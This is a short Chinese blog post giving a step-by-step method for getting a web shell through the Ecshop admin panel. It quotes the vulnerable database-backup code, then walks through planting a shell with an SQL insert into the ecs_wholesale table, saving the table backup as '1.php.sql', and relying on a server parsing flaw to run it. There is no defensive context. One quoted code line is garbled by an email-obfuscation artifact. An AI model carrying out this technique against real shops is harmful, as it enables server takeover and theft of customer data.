Ecshop后台getshell

  • A+
所属分类:漏洞时代
摘要

admin/database.php
[php]
if ($_REQUEST[‘act’] == ‘dumpsql’){省略若干if (empty($_REQUEST[‘sql_file_name’]))

admin/database.php
[php]
if ($_REQUEST['act'] == 'dumpsql')

{省略若干

if (empty($_REQUEST['sql_file_name']))

{

$sql_file_name = $dump->get_random_name();

}

else

{省略若干

$sql_file_name = str_replace("0xa", '', trim($_REQUEST['sql_file_name'])); // 过滤 0xa 非法字符

$pos = strpos($sql_file_name, '.sql');

if ($pos !== false)

{

$sql_file_name = substr($sql_file_name, 0, $pos);

}

}省略若干

if ([email protected]_put_contents(ROOT_PATH . DATA_DIR . '/sqldata/' . $sql_file_name . '.sql', $dump->dump_sql))

{

sys_msg(sprintf($_LANG['fail_write_file'], $sql_file_name . '_' . $vol . '.sql'), 1, array(array('text'=>$_LANG['02_db_manage'], 'href'=>'database.php?act=backup')), false);

};
[/php]
备份数据库可以直接写出shell

我们可以insert一个shell

然后备份制定的表

利用数据查询

执行
[php]
insert into ecs_wholesale values(2,1,'',1,1,1)
[/php]
Ecshop后台getshell
然后在进行备份ecs_wholesale 这个表

然后我们备份文件名设置成1.php.sql

利用解析漏洞

Ecshop后台getshell

就可以获得一个shell了

Ecshop后台getshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: